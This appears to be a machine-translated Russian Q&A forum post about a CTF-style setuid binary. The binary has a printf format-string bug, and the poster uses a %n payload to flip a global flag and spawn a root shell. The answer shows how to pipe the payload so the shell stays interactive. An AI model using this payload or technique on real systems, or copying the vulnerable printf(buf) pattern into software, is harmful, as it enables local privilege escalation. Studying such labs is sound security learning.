Установить бинарный файл для порождения корневой оболочки путем переопределения% n, не работает с эксплойтом, но работает, когда эксплойт не нужен - PullRequest
2 голосов
/ 06 июня 2019

У меня есть двоичный файл Setuid с уязвимостью строки формата printf, которую предполагается использовать с "% n" для перезаписи значения глобальной переменной authenticated. Выполнение / bin / bash работает с полномочиями root Setuid при authenticated = 1, но не при authenticated = 0 и использовании эксплойта.

Я пробовал с ls, и это работает, так что exec происходит. Я также попытался сделать authenticated = 1 в исходном коде, чтобы он автоматически запускал bash без эксплойтов. Это работает в порождении корневой оболочки. Когда эксплойт используется, программа вызывает функцию предоставленного доступа, как и ожидалось, но заканчивается в exec, и perror никогда не достигается. Родительский процесс, однако, умирает, а это означает, что exe bash должен был произойти. Bash должен быть запущен, но он аварийно завершает работу / завершается при запуске.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    }
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  setreuid(geteuid(), getuid());

  printf("Would you like a shell? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}

С authenticated = 0, я использую GDB, чтобы найти адрес authenticated где-то как 0x0804a050. Я запускаю программу с AAAA% x% x% x ... и обнаруживаю, что buf начинается с позиции 4-го стека. Мой эксплойт: python -c "print('\x50\xa0\x04\x08%x%x%x%n')", который успешно перезаписывает глобальную переменную как «Доступ разрешен!» печатается. Perror никогда не достигается, и Bash должен появиться, но родительский процесс умирает, поэтому процесс Bash, должно быть, тоже умер. Этого не происходит, когда authenticated = 1. В этом сценарии бинарный файл Setuid ведет себя как положено и открывает корневую оболочку.

Мой вопрос: почему Bash умирает при запуске, но только когда используется бинарный файл Detuid? Bash, должно быть, умирает, потому что ps -aux не перечисляет новый процесс Bash, и выполнение exit выходит из вызывающего экземпляра bash.

1 Ответ

3 голосов
/ 06 июня 2019

Когда вы запускаете одно из:

python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload

Единственный вход - ваш эксплойт.Вы не вводите никаких команд, поэтому bash не имеет ничего общего и выходит.Это то же самое, что происходит, если вы запускаете true | bash или bash < /dev/null.

Если вы хотите иметь возможность впоследствии вводить некоторые команды, самый простой способ сделать это:

{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln
...